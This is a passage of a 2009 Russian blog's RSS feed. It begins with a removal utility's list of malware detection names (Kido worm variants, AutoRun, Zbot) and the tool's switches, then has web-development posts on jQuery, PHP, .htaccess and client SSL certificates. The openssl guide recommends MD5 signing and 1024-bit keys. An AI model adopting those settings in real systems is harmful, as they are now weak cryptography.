		Trojan.Win32.ConnectionServices.x-aa<br />
		Worm.Win32.AutoRun.dtx<br />
		Worm.Win32.AutoRun.hr<br />
		Backdoor.Win32.Agent.lad<br />
		not-a-virus:FraudTool.Win32.UltimateDefender.cm<br />
		Trojan-Downloader.Win32.Agent.wbu<br />
		Backdoor.Win32.Small.cyb<br />
		not-a-virus:FraudTool.Win32.XPSecurityCenter.c<br />
		not-a-virus:Downloader.Win32.VistaAntivirus.a<br />
		not-a-virus:FraudTool.Win32.UltimateAntivirus.an<br />
		not-a-virus:FraudTool.Win32.UltimateAntivirus.ap<br />
		Trojan-Spy.Win32.Zbot.dlh<br />
		Trojan-Downloader.Win32.Small.abpz<br />
		Rootkit.Win32.Ressdt.br<br />
		Worm.Win32.AutoRun.lsf<br />
		Worm.Win32.AutoRun.epo<br />
		Worm.Win32.AutoRun.enw<br />
		Backdoor.Win32.UltimateDefender.a<br />
		Worm.Win32.AutoRun.pwi<br />
		Worm.Win32.AutoRun.pfh<br />
		Worm.Win32.AutoRun.qhk<br />
		Worm.Win32.AutoRun.ouu<br />
		Worm.Win32.AutoRun.bnb<br />
		Worm.Win32.AutoRun.ll<br />
		AdWare.Win32.Cinmus.sxy<br />
		Trojan.Win32.Autoit.eo<br />
		Worm.Win32.AutoRun.sct<br />
		Worm.Win32.AutoRun.qkn<br />
		not-a-virus:AdWare.Win32.Cinmus.wsu<br />
		Trojan-Ransom.Win32.Taras.a,c<br />
		Trojan-Dropper.Win32.Agent.ztu<br />
		Trojan-Downloader.Win32.Agent.Apnd<br />
		Worm.Win32.Autorun.qpa<br />
		Net-Worm.Win32.Kido.j<br />
		Worm.Win32.Autorun.dcw<br />
		Trojan.Win32.Feedel.gen<br />
		Trojan.Win32.Pakes.mak<br />
		Net-Worm.Win32.Kido.r<br />
		Net-Worm.Win32.Kido.t<br />
		Worm.VBS.Autorun.cq<br />
		Worm.Win32.Pinit.ac<br />
		Worm.Win32.Pinit.ae<br />
		Worm.Win32.Pinit.af<br />
		Worm.Win32.Pinit.gen<br />
		Net-Worm.Win32.Kido.bw<br />
		Net-Worm.Win32.Kido.db<br />
		Net-Worm.Win32.Kido.fk<br />
		Net-Worm.Win32.Kido.fx<br />
		Net-Worm.Win32.Kido.fo<br />
		Net-Worm.Win32.Kido.s<br />
		Net-Worm.Win32.Kido.dh<br />
		Net-Worm.Win32.Kido.ee<br />
		Net-Worm.Win32.Kido.gh<br />
		Net-Worm.Win32.Kido.fa<br />
		Net-Worm.Win32.Kido.gy<br />
		Net-Worm.Win32.Kido.ca<br />
		Net-Worm.Win32.Kido.by<br />
		Net-Worm.Win32.Kido.if<br />
		Net-Worm.Win32.Kido.eo<br />
		Net-Worm.Win32.Kido.bx<br />
		Net-Worm.Win32.Kido.bh<br />
		Net-Worm.Win32.Kido.bg<br />
		Net-Worm.Win32.Kido.ha<br />
		Net-Worm.Win32.Kido.hr<br />
		Net-Worm.Win32.Kido.da<br />
		Net-Worm.Win32.Kido.dz<br />
		Net-Worm.Win32.Kido.cg<br />
		Net-Worm.Win32.Kido.eg<br />
		Net-Worm.Win32.Kido.eq<br />
		Net-Worm.Win32.Kido.bz<br />
		Net-Worm.Win32.Kido.do<br />
		Net-Worm.Win32.Kido.fw<br />
		Net-Worm.Win32.Kido.du<br />
		Net-Worm.Win32.Kido.cv<br />
		Net-Worm.Win32.Kido.dv<br />
		Net-Worm.Win32.Kido.dq<br />
		Net-Worm.Win32.Kido.ed<br />
		Net-Worm.Win32.Kido.em<br />
		Net-Worm.Win32.Kido.bo<br />
		Net-Worm.Win32.Kido.bk<br />
		Net-Worm.Win32.Kido.bm<br />
		Net-Worm.Win32.Kido.cs<br />
		Net-Worm.Win32.Kido.ia<br />
		Net-Worm.Win32.Kido.gg</p>
<p>Командная строка:<br />
	/s &#8212; проверка всего жесткого диска на наличие перечисленных вредоносных программ.<br />
	/n &#8212; проверка подключенных сетевых дисков на наличие перечисленных вредоносных программ.<br />
	/path <Путь для сканирования> &#8212; проверка указанного пути на наличие перечисленных вредоносных программ.<br />
	/y &#8212; завершение программы без запроса нажатия клавиш.<br />
	/i &#8212; отобразить информацию о параметрах командной строки.<br />
	/nr &#8212; при запросе утилиты не перезагружать компьютер автоматически<br />
	/Rpt[ao][=<Путь к файлу отчета>] &#8212; использовать файл отчета<br />
		a &#8212; добавлять файл отчета<br />
		o &#8212; только отчет (не лечить/удалять зараженные файлы)<br />
Возвращаемые коды:<br />
	0 &#8212; лечение не требуется.<br />
	1 &#8212; вирус удален и система восстановлена.<br />
	2 &#8212; для полного удаления вируса необходимо перезагрузить систему.<br />
	3 &#8212; для полного удаления вируса необходимо перезагрузить систему и запустить<br />
		программу еще раз.<br />
	4 &#8212; ошибка выполнения программы.</p>
<p>очень хорошая вещь. После проверки и лечения зараженных файлов доступ к сайту был  восстановлен. Сканирование антивирусами не выявило ничего. </p>
<p>ps: Это не факт того что вирусов нет.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/05/networmwin32kido/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jQuery  table sort сортировка таблиц</title>
		<link>http://saintist.ru/2009/05/04/jquery-tablesort/</link>
		<comments>http://saintist.ru/2009/05/04/jquery-tablesort/#comments</comments>
		<pubDate>Mon, 04 May 2009 15:32:28 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[sort]]></category>
		<category><![CDATA[table]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=236</guid>
		<description><![CDATA[Столкнулся с задачей сортировки значений в строках таблицы, на стороне клиента. Нашел хорошее решение в виде jquery плагина от Christian Bach на http://tablesorter.com/docs/. Несколькими строками js можно задать сортировку. Таблица должна соответствовать нескольким условиям Иметь вид &#60;table id="myTable"&#62; &#60;thead&#62; &#60;tr&#62; &#60;th&#62;Last Name&#60;/th&#62; &#60;th&#62;First Name&#60;/th&#62; &#60;th&#62;Email&#60;/th&#62; &#60;th&#62;Due&#60;/th&#62; &#60;th&#62;Web Site&#60;/th&#62; &#60;/tr&#62; &#60;/thead&#62; &#60;tbody&#62; &#60;tr&#62; &#60;td&#62;Smith&#60;/td&#62; &#60;td&#62;John&#60;/td&#62; &#60;td&#62;jsmith@gmail.com&#60;/td&#62; [...]]]></description>
			<content:encoded><![CDATA[<p>Столкнулся с задачей сортировки значений в строках  таблицы, на стороне  клиента.  Нашел  хорошее решение в виде jquery плагина от <strong>Christian Bach</strong> на http://tablesorter.com/docs/.<br />
<a href="http://saintist.ru/wp-content/uploads/2009/05/sort.jpg"><img class="alignnone size-full wp-image-238" title="table sort jquery" src="http://saintist.ru/wp-content/uploads/2009/05/sort.jpg" alt="table sort jquery" width="419" height="152" /></a><br />
Несколькими строками js можно задать сортировку. Таблица должна соответствовать нескольким условиям <span id="more-236"></span></p>
<p>Иметь вид</p>
<pre class="html"><span class="tag">&lt;table</span><span class="aname"> id</span>=<span class="avalue">"myTable"</span><span class="tag">&gt;</span>
<span class="tag">&lt;thead</span><span class="tag">&gt;</span>
<span class="tag">&lt;tr</span><span class="tag">&gt;</span>
    <span class="tag">&lt;th</span><span class="tag">&gt;</span>Last Name<span class="tag">&lt;/th&gt;</span>
    <span class="tag">&lt;th</span><span class="tag">&gt;</span>First Name<span class="tag">&lt;/th&gt;</span>
    <span class="tag">&lt;th</span><span class="tag">&gt;</span>Email<span class="tag">&lt;/th&gt;</span>
    <span class="tag">&lt;th</span><span class="tag">&gt;</span>Due<span class="tag">&lt;/th&gt;</span>
    <span class="tag">&lt;th</span><span class="tag">&gt;</span>Web Site<span class="tag">&lt;/th&gt;</span>
<span class="tag">&lt;/tr&gt;</span>
<span class="tag">&lt;/thead&gt;</span>
<span class="tag">&lt;tbody</span><span class="tag">&gt;</span>
<span class="tag">&lt;tr</span><span class="tag">&gt;</span>
    <span class="tag">&lt;td</span><span class="tag">&gt;</span>Smith<span class="tag">&lt;/td&gt;</span>
    <span class="tag">&lt;td</span><span class="tag">&gt;</span>John<span class="tag">&lt;/td&gt;</span>
    <span class="tag">&lt;td</span><span class="tag">&gt;</span>jsmith@gmail.com<span class="tag">&lt;/td&gt;</span>
    <span class="tag">&lt;td</span><span class="tag">&gt;</span>$50.00<span class="tag">&lt;/td&gt;</span>
    <span class="tag">&lt;td</span><span class="tag">&gt;</span>http://www.jsmith.com<span class="tag">&lt;/td&gt;</span>
<span class="tag">&lt;/tr&gt;</span>
<span class="tag">&lt;tr</span><span class="tag">&gt;</span>
    <span class="tag">&lt;td</span><span class="tag">&gt;</span>Bach<span class="tag">&lt;/td&gt;</span>
    <span class="tag">&lt;td</span><span class="tag">&gt;</span>Frank<span class="tag">&lt;/td&gt;</span>
    <span class="tag">&lt;td</span><span class="tag">&gt;</span>fbach@yahoo.com<span class="tag">&lt;/td&gt;</span>
    <span class="tag">&lt;td</span><span class="tag">&gt;</span>$50.00<span class="tag">&lt;/td&gt;</span>
    <span class="tag">&lt;td</span><span class="tag">&gt;</span>http://www.frank.com<span class="tag">&lt;/td&gt;</span>
<span class="tag">&lt;/tr&gt;</span>
<span class="tag">&lt;tr</span><span class="tag">&gt;</span>
    <span class="tag">&lt;td</span><span class="tag">&gt;</span>Doe<span class="tag">&lt;/td&gt;</span>
    <span class="tag">&lt;td</span><span class="tag">&gt;</span>Jason<span class="tag">&lt;/td&gt;</span>
    <span class="tag">&lt;td</span><span class="tag">&gt;</span>jdoe@hotmail.com<span class="tag">&lt;/td&gt;</span>
    <span class="tag">&lt;td</span><span class="tag">&gt;</span>$100.00<span class="tag">&lt;/td&gt;</span>
    <span class="tag">&lt;td</span><span class="tag">&gt;</span>http://www.jdoe.com<span class="tag">&lt;/td&gt;</span>
<span class="tag">&lt;/tr&gt;</span>
<span class="tag">&lt;tr</span><span class="tag">&gt;</span>
    <span class="tag">&lt;td</span><span class="tag">&gt;</span>Conway<span class="tag">&lt;/td&gt;</span>
    <span class="tag">&lt;td</span><span class="tag">&gt;</span>Tim<span class="tag">&lt;/td&gt;</span>
    <span class="tag">&lt;td</span><span class="tag">&gt;</span>tconway@earthlink.net<span class="tag">&lt;/td&gt;</span>
    <span class="tag">&lt;td</span><span class="tag">&gt;</span>$50.00<span class="tag">&lt;/td&gt;</span>
    <span class="tag">&lt;td</span><span class="tag">&gt;</span>http://www.timconway.com<span class="tag">&lt;/td&gt;</span>
<span class="tag">&lt;/tr&gt;</span>
<span class="tag">&lt;/tbody&gt;</span>
<span class="tag">&lt;/table&gt;</span> </pre>
<pre class="html">т.е. содержать в структуре <span class="tag">&lt;thead</span><span class="tag">&gt; и &lt;tbody&gt;</span></pre>
<pre class="html">в блоке <span class="tag">&lt;thead</span><span class="tag">&gt; задаются заголовки для  столбцов</span></pre>
<pre class="html">а в &lt;tbody&gt; соответственно  само содержимое</pre>
<pre class="html">инициализируется  сортировка кодом</pre>
<pre class="html">
<pre class="javascript">$(<span class="global">document</span>).ready(<span class="keywords">function</span>()
    {
        $(<span class="string">"#myTable"</span>).tablesorter();
    }
);</pre>
<pre class="javascript">если необходимо  запретить сортировку  по некоторым  полям  то</pre>
<pre class="javascript">пишем</pre>
<pre class="javascript">
<pre class="javascript">$(<span class="string">"#myTable"</span>).tablesorter({headers:{1:{sorter: false},6:{sorter: false}}})</pre>
</pre>
</pre>
<p>этим отключается  сортировка у первого и шестого столбца</p>
<p>плагин  очень гибкий и легко нестраиваемый, более подробно можно ознакомится на сайте автора.</p>
<p>здесь <a href="/wp-content/uploads/2009/05/tablesorter.zip">tablesorter.zip</a> рип с хелпом и примерами</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/04/jquery-tablesort/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jQuery ajax в IE7</title>
		<link>http://saintist.ru/2009/05/04/jquery-ajax-v-ie7/</link>
		<comments>http://saintist.ru/2009/05/04/jquery-ajax-v-ie7/#comments</comments>
		<pubDate>Mon, 04 May 2009 10:28:30 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[IE]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=231</guid>
		<description><![CDATA[IE7 не отрабатывает аяксовые запросы (load, get, post &#8212; всё, короче) в jQuery Сервер может отдавать кодировку в виде “charset=cp1251?, и вся проблема кроется в этом. Нужно, чтобы вместо “cp1251? он отдавал “windows-1251? header('Content-Type: text/html; charset=windows-1251', TRUE);]]></description>
			<content:encoded><![CDATA[<p>IE7 не отрабатывает аяксовые запросы (load, get, post &#8212; всё, короче) в jQuery<br />
<span id="more-231"></span><br />
Сервер может отдавать кодировку в виде “charset=cp1251?, и вся проблема кроется в этом. Нужно, чтобы вместо “cp1251? он отдавал “windows-1251? </p>
<p><code>header('Content-Type: text/html; charset=windows-1251', TRUE);</code></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/04/jquery-ajax-v-ie7/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>file_get_contents POST отправляем -&gt; получаем</title>
		<link>http://saintist.ru/2009/04/30/otpravka-post-cherez-file_get_contents/</link>
		<comments>http://saintist.ru/2009/04/30/otpravka-post-cherez-file_get_contents/#comments</comments>
		<pubDate>Thu, 30 Apr 2009 20:56:46 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=218</guid>
		<description><![CDATA[Столкнулся с проблемой получить содержимое страницы с удаленного сервера , функция file_get_contents решает проблему, но не все так просто, при этом нужно было передать несколько POST значений. Приведенный ниже код легко справляетя с этой задачей $url &#8212; куда $data &#8212; что в виде array Пример data: $data=array( "имя поля"=>"значение поля" ); function file_post_contents($url, $data) { [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://saintist.ru/wp-content/uploads/2009/04/file_get_content.jpg"><img src="http://saintist.ru/wp-content/uploads/2009/04/file_get_content-300x86.jpg" alt="file_get_content" title="file_get_content" width="300" height="86" class="alignnone size-medium wp-image-225" /></a></p>
<p>Столкнулся с проблемой получить содержимое страницы с удаленного сервера , функция file_get_contents решает проблему, но не все так просто, при этом нужно  было передать несколько POST значений. Приведенный ниже код легко справляетя с этой задачей<br />
<span id="more-218"></span><br />
<strong>$url</strong> &#8212; куда<br />
<strong>$data</strong> &#8212;  что в виде array </p>
<p>Пример data:</p>
<p><code>$data=array(<br />
   "имя поля"=>"значение поля"<br />
   );</code></p>
<p><code>function file_post_contents($url, $data)<br />
{<br />
     $data = http_build_query($data);<br />
     $context_options = array(<br />
          "http" => array(<br />
               "method" => "POST",<br />
               "header" => "Content-Type: application/x-www-form-urlencoded\r\nContent-Length: ". strlen($data). "\r\n",<br />
               "content" => $data<br />
               )<br />
          );<br />
     $context = stream_context_create($context_options);<br />
     return file_get_contents($url, false, $context);<br />
}</code></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/30/otpravka-post-cherez-file_get_contents/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>phpQuery шпоргалка</title>
		<link>http://saintist.ru/2009/04/30/phpquery-shporgalka/</link>
		<comments>http://saintist.ru/2009/04/30/phpquery-shporgalka/#comments</comments>
		<pubDate>Thu, 30 Apr 2009 15:15:10 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[phpquery]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=219</guid>
		<description><![CDATA[Запишу элементарные вещи по phpQuery, своего рода мини справка ini_set(&#8216;default_socket_timeout&#8217;, 120); ini_set(&#8216;max_execution_time&#8217;, &#8217;0&#8242;); //&#8212;целевой сайт define(&#8216;URL&#8217;, &#8216;целевой сайт&#8217;); require(&#8216;phpQuery/phpQuery/phpQuery.php&#8217;); &#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.. Взяли контент страницы начали ее перебор &#8230;&#8230;. взять имя текущего тега $tagName = $li->tagName; взять текстовое содержимое элемента $text= pq($element)->text(); взять содержимое элемента в виде html $text= pq($element)->html(); взять атрибут $text= pq($element)->attr(&#8216;href&#8217;); задали новое имя [...]]]></description>
			<content:encoded><![CDATA[<p>Запишу элементарные вещи  по phpQuery, своего рода мини справка<br />
<span id="more-219"></span></p>
<p>ini_set(&#8216;default_socket_timeout&#8217;,    120);<br />
ini_set(&#8216;max_execution_time&#8217;, &#8217;0&#8242;);<br />
//&#8212;целевой сайт<br />
define(&#8216;URL&#8217;, &#8216;целевой сайт&#8217;);</p>
<p>require(&#8216;phpQuery/phpQuery/phpQuery.php&#8217;);<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..<br />
Взяли контент страницы начали ее перебор<br />
&#8230;&#8230;.</p>
<p><strong>взять имя  текущего тега</strong><br />
$tagName = $li->tagName;</p>
<p><strong>взять текстовое содержимое элемента</strong><br />
$text= pq($element)->text();</p>
<p><strong>взять содержимое элемента в виде html</strong><br />
$text= pq($element)->html();</p>
<p><strong>взять атрибут</strong><br />
$text= pq($element)->attr(&#8216;href&#8217;);</p>
<p><strong>задали новое имя атрибута</strong><br />
$text= pq($element)->attr(&#8216;href&#8217;, &#8216;newVal&#8217;);</p>
<p><strong> берем коллекцию по определенному признаку<br />
все дивы класса dsBodyBg  расположенные  внутри дива dsBodyContent</strong><br />
$elements = $results->find(&#8216;div.dsBodyContent > div.dsBodyBg&#8217;);</p>
<p><strong> выбрать родителя,подняться на уровень выше</strong><br />
$this->parent();</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/30/phpquery-shporgalka/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>jQuery: выбрать/переключить все чекбоксы</title>
		<link>http://saintist.ru/2009/04/29/jquery-checkall-checkbox-type/</link>
		<comments>http://saintist.ru/2009/04/29/jquery-checkall-checkbox-type/#comments</comments>
		<pubDate>Wed, 29 Apr 2009 10:06:12 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[checkbox]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=215</guid>
		<description><![CDATA[// context = элемент, внутри которого чекбоксы $(&#8216;#context input:checkbox&#8217;).each(function(){this.checked = checked;}); переключить чекбоксы соответственно можно вот так $(&#8216;#context input:checkbox&#8217;).each(function(){this.checked = !this.checked;});]]></description>
			<content:encoded><![CDATA[<p>// context = элемент, внутри которого чекбоксы</p>
<p><strong>$(&#8216;#context input:checkbox&#8217;).each(function(){this.checked = checked;});</strong></p>
<p>переключить чекбоксы соответственно можно вот так</p>
<p><strong>$(&#8216;#context input:checkbox&#8217;).each(function(){this.checked = !this.checked;});</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/29/jquery-checkall-checkbox-type/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>синтаксис файла .htaccess</title>
		<link>http://saintist.ru/2009/04/29/sintaksis-fajla-htaccess/</link>
		<comments>http://saintist.ru/2009/04/29/sintaksis-fajla-htaccess/#comments</comments>
		<pubDate>Wed, 29 Apr 2009 06:47:03 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[.htaccess]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=206</guid>
		<description><![CDATA[.htaccess – это файл, в котором вы можете прописать настройки вашего сервера (если он – Апач) для директории (и ниже). То есть если вы создадите файл .htaccess в корне сайта, его действие будет распространяться на весь сайт, однако, если в какой-нибудь поддиректории создадите еще один, то он будет «главным» там. Файл .htaccess не будет работать, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="/wp-content/uploads/2009/04/htaccess.png"><img src="/wp-content/uploads/2009/04/htaccess-300x51.png" alt="htaccess" title="htaccess" width="300" height="51" class="alignnone size-medium wp-image-211" /></a></p>
<p>.htaccess – это файл, в котором вы можете прописать настройки вашего сервера (если он – Апач) для директории (и ниже). То есть если вы создадите файл .htaccess в корне сайта, его действие будет распространяться на весь сайт, однако, если в какой-нибудь поддиректории создадите еще один, то он будет «главным» там. Файл .htaccess не будет работать, если а) сервер – не Апач, б) администраторы сервера запретили его использование.<br />
<span id="more-206"></span></p>
<p>Сто же нужно знать о .htaccess.<br />
 Итак, лично в моем .htaccess все выглядит примерно вот так (посточно):</p>
<p><strong>DirectoryIndex index.php</strong></p>
<p>Устанавливает файл в директории, который грузится по «умолчанию». Обычно – index.html. У меня стоит index.php, поэтому когда вы набираете http://saintist.ru/, грузится файл index.php</p>
<p><strong>CharsetDefault windows-125</strong>1</p>
<p>Кодировка, которую сервер выдает браузеру по умолчанию. То есть у меня файлы выдаются в windows-кодировке.</p>
<p><strong>CharsetSourceEnc windows-1251</strong></p>
<p>Кодировка, в которой вы должны закачивать файлы на сервер. У меня опять же стоит windows-1251. Это удобно, когда у тебя операционная система – Win. По умолчанию же стоит koi (koi8-r), что, по-моему, не совсем удобно.</p>
<p>Если используется  utf-8 то запишем:<br />
<strong>CharsetDefault utf-8<br />
CharsetSourceEnc utf-8</strong></p>
<p><strong>ErrorDocument 404 /index.php3<br />
ErrorDocument 401 /index.php3</strong></p>
<p>Файлы, которые выдает сервер, когда страница не найдена (404). Например, вы можете прописать, например, файл 404.html, в котором написать, мол, «документ нот фоунд». </p>
<p><strong>Options -Indexes</strong></p>
<p>Запрещает отображение содеримого директории. Например: http://saintist.ru/saperadmin/. Чтобы разрешить, надо написать то же самое, но без «-». Напомню, что разрешать можно выборочно, создав .htaccess там, где нужно, и прописав «<strong>Options Indexes</strong>». (В принципе, можно прописать это все в одном .htaccess)&#8230;</p>
<p>Вот, собственно, и все. Выглядит все содержимое файла .htaccess в конце концов примерно вот так:</p>
<p><code>DirectoryIndex index.php<br />
CharsetDefault windows-1251<br />
CharsetSourceEnc windows-1251<br />
ErrorDocument 404 /index.php3<br />
ErrorDocument 401 /index.php3<br />
Options -Indexes</code></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/29/sintaksis-fajla-htaccess/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Авторизация через клиентские SSL сертификатов.</title>
		<link>http://saintist.ru/2009/04/29/svoy-ssl-sertifikat/</link>
		<comments>http://saintist.ru/2009/04/29/svoy-ssl-sertifikat/#comments</comments>
		<pubDate>Wed, 29 Apr 2009 06:23:08 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[notes]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=198</guid>
		<description><![CDATA[Протокол безопасной передачи данных SSL (Secure Sockets Layer) помимо обеспечения безопасной передачи данных позволяет также реализовать авторизацию клиентов на сервере с помощью клиентских SSL сертификатов. Данная статья является практическим руководством по реализации данного вида авторизации. В статье не рассматриваются теоретические основы криптографии или передачи данных по протоколу SSL. Подразумеваемся, что читатель хотя бы поверхностно знаком [...]]]></description>
			<content:encoded><![CDATA[<p>Протокол безопасной передачи данных SSL (Secure Sockets Layer) помимо обеспечения безопасной передачи данных позволяет также реализовать авторизацию клиентов на сервере с помощью клиентских SSL сертификатов. Данная статья является практическим руководством по реализации данного вида авторизации. В статье не рассматриваются теоретические основы криптографии или передачи данных по протоколу SSL. Подразумеваемся, что читатель хотя бы поверхностно знаком с понятиями, используемыми в этой статье, такими как сертификат, секретный ключ, подпись сертификата и т.д.</p>
<p>Процесс авторизация выглядит следующим образом. При переходе клиента в закрытую область сайта веб-сервер запрашивает у броузера клиента сертификат, если проверка клиентского сертификата веб-сервером прошла удачно, то клиент получает доступ к закрытым данным.</p>
<p>Наиболее наглядным примером использования авторизации посредством клиентских сертификатов является система платежей WebMoney Transfer, а точнее реализация WM Keeper Light. Данная схема авторизации признана наиболее надежной и, в том или ином виде, широко используется в сфере предоставления банковских услуг.</p>
<p>Практическая реализация рассматривается на основе популярной связки веб-сервера Apache и модуля mod_ssl, основанного на использовании библиотеки openssl. Предполагается, что соответствующее программное обеспечение у вас уже установлено.</p>
<p>Для реализации процесса авторизации по клиентским сертификатам требуется:</p>
<ul>
<li>	Создать собственный доверенный сертификат (Certificate Authority), для того чтобы с помощью него подписывать и проверять клиентские сертификаты.</li>
<li>
Создать клиентские сертификаты, подписанные доверенным сертификатом, для последующей передачи их клиентам.</li>
<li>Сконфигурировать веб-сервер для запроса и проверки клиентских сертификатов.</li>
</ul>
<p><span id="more-198"></span><br />
<strong>1. Создание собственного самоподписанного доверенного сертификата.</strong></p>
<p>Собственный доверенный сертификат (Certificate Authority &#8212; далее CA) необходим для подписи клиентских сертификатов и для их проверки при авторизации клиента веб-сервером. С помощью приведенной ниже команды создается закрытый ключ и самоподписанный сертификат.</p>
<p><strong># openssl req -new -newkey rsa:1024 -nodes -keyout ca.key -x509 -days 500<br />
-subj /C=RU/ST=Msk/L=Msk/O=My\ Inc/OU=Sale/CN=bla/emailAddress=usr@dom.ru<br />
-out ca.crt</strong></p>
<p>Описание аргументов:</p>
<p><strong>req</strong> Запрос на создание нового сертификата.<br />
<strong>-new</strong> Создание запроса на сертификат (Certificate Signing Request &#8212; далее CSR).<br />
<strong>-newkey rsa:1023</strong> Автоматически будет создан новый закрытый RSA ключ длиной 1024 бита. Длину ключа можете настроить по своему усмотрению.<br />
<strong>-nodes</strong> Не шифровать закрытый ключ (См. примечание выше).<br />
<strong>-keyout ca.key</strong> Закрытый ключ сохранить в файл ca.key.<br />
<strong>-x509</strong> Вместо создания CSR (см. опцию -new) создать самоподписанный сертификат.<br />
<strong>-days 500</strong> Срок действия сертификата 500 дней. Размер периода действия можете настроить по своему усмотрению. Не рекомендуется вводить маленькие значения, так как этим сертификатом вы будете подписывать клиентские сертификаты.<br />
<strong>-subj /C=RU/ST=Msk/L=Msk/O=My\ Inc/OU=Sale/CN=bla/emailAddress=usr@dom.ru</strong><br />
Данные сертификата, пары параметр=значение, перечисляются через &#8216;/&#8217;. Символы в значении параметра могут быть &#171;подсечены&#187; с помощью обратного слэша &#171;\&#187;, например &#171;O=My\ Inc&#187;. Также можно взять значение аргумента в кавычки, например, -subj &#171;/xx/xx/xx&#187;.</p>
<p>Описание параметров:<br />
<strong>С -</strong> Двухсимвольный код страны (Country). Необязательный параметр.<br />
<strong>ST </strong> &#8212; Название региона/области/края/республики/&#8230; (State Name). Необязательный параметр.<br />
<strong>L </strong> &#8212; Название города/поселка/&#8230; (Locality Name). Необязательный параметр.<br />
<strong>O</strong> &#8212; Название организации (Organization Name). Необязательный параметр.<br />
<strong>OU</strong> &#8212; Название отдела (Organization Unit). Необязательный параметр.<br />
<strong>CN</strong> &#8212; Имя сертификата, при создании серверных сертификатов используется доменное имя сайта, для клиентских сертификатов может быть использовано что угодно (Common Name). Обязательный параметр. Максимальная длина 64 символа.<br />
<strong>emailAddres</strong>s &#8212; почтовый адрес (E-mail address). Необязательный параметр. Максимальная длина 40 символов.<br />
Необязательные параметры могут быть пропущены, например, /C=RU/CN=blabla/emailAddress=user@domain.ru.<br />
<strong>-out ca.crt</strong><br />
Сертификат сохранить в файл ca.crt.<br />
В результате выполнения команды появятся два файла ca.key и ca.crt. Просмотреть данные закрытого ключа и сертификата вы можете с помощью команд:<br />
<strong># openssl rsa -noout -text -in ca.key</strong>              (для ключа)<br />
<strong># openssl x509 -noout -text -in ca.crt</strong>             (для сертификата)</p>
<p><strong>2. Создание клиентских сертификатов</strong></p>
<p><strong>2.1. Подготовка конфигурации и файлов для подписи сертификатов.</strong></p>
<p>Создайте конфигурационный файл с именем ca.config следующего содержания.</p>
<p><code>[ ca ]<br />
default_ca             = CA_CLIENT       # При подписи сертификатов<br />
# использовать секцию CA_CLIENT</p>
<p>[ CA_CLIENT ]<br />
dir                    = ./db            # Каталог для служебных файлов<br />
certs                  = $dir/certs      # Каталог для сертификатов<br />
new_certs_dir          = $dir/newcerts   # Каталог для новых сертификатов</p>
<p>database               = $dir/index.txt  # Файл с базой данных<br />
# подписанных сертификатов<br />
serial                 = $dir/serial     # Файл содержащий серийный номер<br />
# сертификата<br />
# (в шестнадцатиричном формате)<br />
certificate            = ./ca.crt        # Файл сертификата CA<br />
private_key            = ./ca.key        # Файл закрытого ключа CA</p>
<p>default_days           = 365             # Срок действия подписываемого<br />
# сертификата<br />
default_crl_days       = 7               # Срок действия CRL (см. $4)<br />
default_md             = md5             # Алгоритм подписи</p>
<p>policy                 = policy_anything # Название секции с описанием<br />
# политики в отношении данных<br />
# сертификата</p>
<p>[ policy_anything ]<br />
countryName            = optional        # Код страны - не обязателен<br />
stateOrProvinceName    = optional        # ......<br />
localityName           = optional        # ......<br />
organizationName       = optional        # ......<br />
organizationalUnitName = optional        # ......<br />
commonName             = supplied        # ...... - обязателен<br />
emailAddress           = optional        # ......</code></p>
<p>Создайте структуру каталогов и файлов, соответсвующую описанной в конфигурационном файле</p>
<p><code># mkdir db<br />
# mkdir db/certs<br />
# mkdir db/newcerts<br />
# touch db/index.txt<br />
# echo "01" > db/serial</code></p>
<p><strong>2.2. Создание клиентского закрытого ключа и запроса на сертификат (CSR).</strong></p>
<p>Для создания подписанного клиентского сертификата предварительно необходимо создать запрос на сертификат, для его последующей подписи. Аргументы команды полностью аналогичны аргументам использовавшимся при создании самоподписанного доверенного сертификата (см. $1), но отсутсвует параметр -x509.</p>
<p><code><br />
# openssl req -new -newkey rsa:1024 -nodes -keyout client01.key<br />
-subj /C=RU/ST=Msk/L=Msk/O=Inc/OU=Web/CN=usr/emailAddress=usr@dm.ru<br />
-out client01.csr</code></p>
